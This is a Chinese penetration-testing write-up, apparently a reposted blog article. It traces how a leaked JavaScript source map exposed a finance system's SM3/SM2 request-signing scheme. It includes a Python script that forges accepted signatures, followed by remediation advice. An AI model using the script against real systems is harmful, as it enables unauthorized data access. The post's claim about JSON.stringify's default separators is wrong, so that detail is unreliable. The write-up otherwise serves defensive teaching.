文章总结: 文章完整复盘一次从JSMap泄露到伪造SM2签名绕过财务系统验签的渗透过程:先利用泄露的.js.map还原出base.js里SM3+SM2签名逻辑,再用Python精确复现JSON序列化、URL编码、C1C2C3加密等细节,最终脚本生成与前端一致sign通过后端验证,指出前端暴露密钥、无重放防护、过度信任客户端等缺陷,给出移除前端签名、强化密钥管理、严控nonce时效等修复方案,强调静态代码分析与算法还原在红队实战中的价值。 综合评分: 92 文章分类: WEB安全,红队,漏洞分析,渗透测试,实战经验
从JSMap泄露到签名伪造的完整分析
原创
tangkaixing
开心网安
2026年1月9日 10:26 重庆
免责声明
由于传播、利用本公众号开心网安所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号开心网安及作者不为此承担任何责任,一旦造成后果请自行承担!如需要转载等,请标注文章来源。如有侵权烦请告知,我们会立即删除并致歉,谢谢!
#
01概述
在某次财务系统渗透中,从发现JSMap文件泄露开始,逐步分析前端签名生成逻辑,最终成功伪造请求签名并绕过后端验证。整个过程展示了如何通过静态代码分析、算法还原和漏洞利用,揭示了前端加密签名机制的潜在安全风险,涉及相关图片数据均厚码处理,感谢各位看官理解。
02正文
一、漏洞发现:JSMap文件泄露
在对目标测试时候注意到前端资源加载了多个.js.map文件。这些文件通常用于调试,包含了完整的源代码映射关系。通过获取并分析这些JSMap文件,能够轻松还原出前端的核心业务逻辑,包括数据请求和签名生成过程。
关键发现从反编译得到的base.js文件,它负责处理所有API请求的拦截和签名生成。这为后续伪造提供帮助。
二、深入分析:签名生成机制剖析
通过对base.js的文件的详细分析,发现了完整的签名生成流程:
- 请求参数准备:前端在发送请求前,会拦截请求并添加时间戳(tamp)和随机数(nonce)
- 数据序列化:对请求数据进行JSON.stringify()处理
- URL编码:对序列化后的数据进行encodeURIComponent()编码
- SM3哈希计算:将编码后的数据与服务器返回的nonce拼接后,使用SM3算法计算哈希值
- SM2加密:将时间戳与哈希值拼接后,使用SM2算法和服务器返回的公钥进行加密
- 签名生成:在加密结果前添加04前缀,作为最终的sign参数
整个过程的核心依赖是从服务器获取的publicKey和nonce,而这些值是通过unknownAuth.do接口公开获取的。
三、漏洞验证:签名伪造的技术挑战
在理解了前端签名生成逻辑后,开始编写Python脚本来还原这一过程。主要面临以下技术挑战:
- JSON序列化差异:前端JSON.stringify()使用默认分隔符(带空格的,和:),而Python默认使用无空格分隔符。通过对比测试,我确定了正确的序列化参数。
- URL编码一致性:前端encodeURIComponent()与Python的urllib.parse.quote在处理某些特殊字符时存在差异。通过调整safe参数和手动替换特定字符,确保了编码结果的一致性。
- SM2/SM3算法实现:需要使用gmssl库来实现SM2加密和SM3哈希计算,并确保加密模式(C1C2C3)和参数配置与前端一致。
- 公钥和密文处理:前端会去除公钥的04前缀,加密后再添加回去。需要确保Python脚本中的公钥处理方式完全匹配。
# -*- coding: utf-8 -*-"""签名生成核心代码本代码仅用于学习和技术交流,展示如何生成前端签名"""import jsonimport timeimport uuidimport urllib.parsefrom gmssl import sm3, sm2from gmssl.func import bytes_to_list, list_to_bytes
def hex_to_bytes(hex_str): """将十六进制字符串转换为字节""" return bytes.fromhex(hex_str)
def generate_guid(): """生成随机字符串""" return str(uuid.uuid4())
def get_timestamp(): """获取当前时间戳(毫秒)""" return int(time.time() * 1000)
def sm3_with_msg(msg: str) -> str: """计算 SM3 哈希""" # 将字符串转换为UTF-8字节 msg_bytes = msg.encode('utf-8') # sm3.sm3_hash 直接返回十六进制字符串 hash_val = sm3.sm3_hash(bytes_to_list(msg_bytes)) return hash_val
def generate_sign(public_key_hex, nonce_val, request_data_dict, timestamp_ms): """ 使用 gmssl.sm2 进行 SM2 加密生成 Sign 完全匹配前端JS的逻辑
参数: public_key_hex: SM2公钥(十六进制格式) nonce_val: 随机数 request_data_dict: 请求数据字典 timestamp_ms: 时间戳(毫秒)
返回: 生成的签名字符串 """ # Step 1: 数据序列化处理(完全匹配前端JS) # 前端JSON.stringify使用默认分隔符', '和': ' json_str = json.dumps(request_data_dict, ensure_ascii=False)
# URL编码,确保与前端encodeURIComponent行为完全一致 encoded_data = urllib.parse.quote(json_str, safe="~()*!.'-_").replace('+', '%20').replace('*', '%2A')
# 限制长度为100字符(根据前端逻辑) if len(encoded_data) > 100: truncated = encoded_data[:100] else: truncated = encoded_data
# Step 2: 构造 salt 输入并计算 SM3 sm3_input_str = truncated + "|" + nonce_val sm3_hashed = sm3_with_msg(sm3_input_str)
# Step 3: 要加密的内容 = 时间戳 + SM3 结果 encrypt_content = f"{timestamp_ms}{sm3_hashed}" encrypt_content_bytes = encrypt_content.encode("utf-8")
# Step 4: 公钥处理(去掉04前缀,匹配前端) if public_key_hex.startswith("04"): pub_key_no_prefix = public_key_hex[2:] else: pub_key_no_prefix = public_key_hex
# Step 5: 使用 CryptSM2 类进行加密 try: # 创建 CryptSM2 实例,传入去掉前缀的公钥 # 设置asn1=False,确保使用C1C2C3模式 crypt_sm2 = sm2.CryptSM2( public_key=pub_key_no_prefix, private_key=None, asn1=False )
# 使用encrypt方法进行加密 encrypted_data = crypt_sm2.encrypt(encrypt_content_bytes)
# 将加密结果转换为十六进制字符串 encrypted_ciphertext_hex = encrypted_data.hex()
# 最终 sign = '04' + 密文(前端习惯加04前缀) final_sign = "04" + encrypted_ciphertext_hex
return final_sign except Exception as e: print(f"[-] SM2 加密失败: {e}") return None
# ------------------ 示例使用 ------------------if __name__ == '__main__': # 示例数据(仅用于演示,需要替换为实际有效的公钥) # 注意:这里的公钥是示例格式,请替换为实际获取到的有效公钥/ 实际这个从api接口获取,实时公钥/nonce public_key = "047c58a3d7b2e1f4a5c6b7a8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9" nonce = "e7f3a5c8-d4b2-4e31-b9c7-2c8d7f9a4b6e" request_data = {"example": "test"} timestamp = get_timestamp()
# 生成签名 sign = generate_sign(public_key, nonce, request_data, timestamp)
if sign: print(f"[+] 签名生成成功: {sign[:30]}...")
# 示例:如何使用签名发送请求 # headers = {"sign": sign} # response = requests.post(url, json=request_data, headers=headers) else: print("[-] 签名生成失败") print("[-] 请检查公钥是否有效,示例公钥可能需要替换为实际获取的公钥")
print("\n⚠️ 注意:本代码仅用于技术学习和交流,请勿用于任何非法用途。") print("📝 说明:使用前请确保安装了 gmssl 库 (pip install gmssl)")
四、成功利用:绕过验证获取数据
经过多次调试和测试,编写了能够生成与前端完全一致签名的Python脚本。关键代码片段包括:
使用json.dumps(request_data_dict, ensure_ascii=False)确保JSON序列化与前端一致
使用urllib.parse.quote并替换特定字符,实现与encodeURIComponent一致的URL编码
配置gmssl.sm2的加密模式和公钥处理方式
正确拼接和处理加密结果,生成最终的sign参数
最终测试结果显示,脚本成功通过了后端验证,获取到了实际的数据响应,不再出现”验签失败/请求一次有效”的错误,主要系统没有其他鉴权仅靠这个签名来进行判断。
五、技术深度分析:签名机制的安全缺陷
这次漏洞利用揭示了前端签名机制的几个关键安全缺陷:
签名逻辑完全暴露:由于JSMap文件泄露,攻击者可以完全复制签名生成过程
公钥获取过于简单:通过公开接口即可获取用于加密的公钥
缺乏有效的重放攻击防护:虽然使用了时间戳和nonce,但验证机制存在缺陷
客户端信任问题:后端过度信任前端生成的签名,未进行足够的服务器端验证
03总结
修复建议
移除前端签名生成逻辑:将签名生成过程完全移至服务器端
强化密钥管理:避免在前端暴露公钥,使用安全的密钥分发机制
增强请求验证:增加时间戳有效期验证,实现严格的nonce验证机制
防止代码泄露:禁用JSMap文件,对前端代码进行混淆和压缩
考虑替换认证机制:评估使用更安全的认证方式,如OAuth 2.0或JWT
渗透测试经验
重视静态代码分析:JSMap文件、源代码泄露等静态资源往往包含关键的业务逻辑和安全信息
关注加密算法实现:前端加密签名机制是常见的安全控制点,需要仔细分析其实现细节
注重工具开发能力:编写自定义工具来还原加密算法和验证漏洞是渗透测试的关键技能
保持耐心和细致:在算法还原过程中,细节决定成败,需要耐心对比和调试
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:开心网安 tangkaixing《从JSMap泄露到签名伪造的完整分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论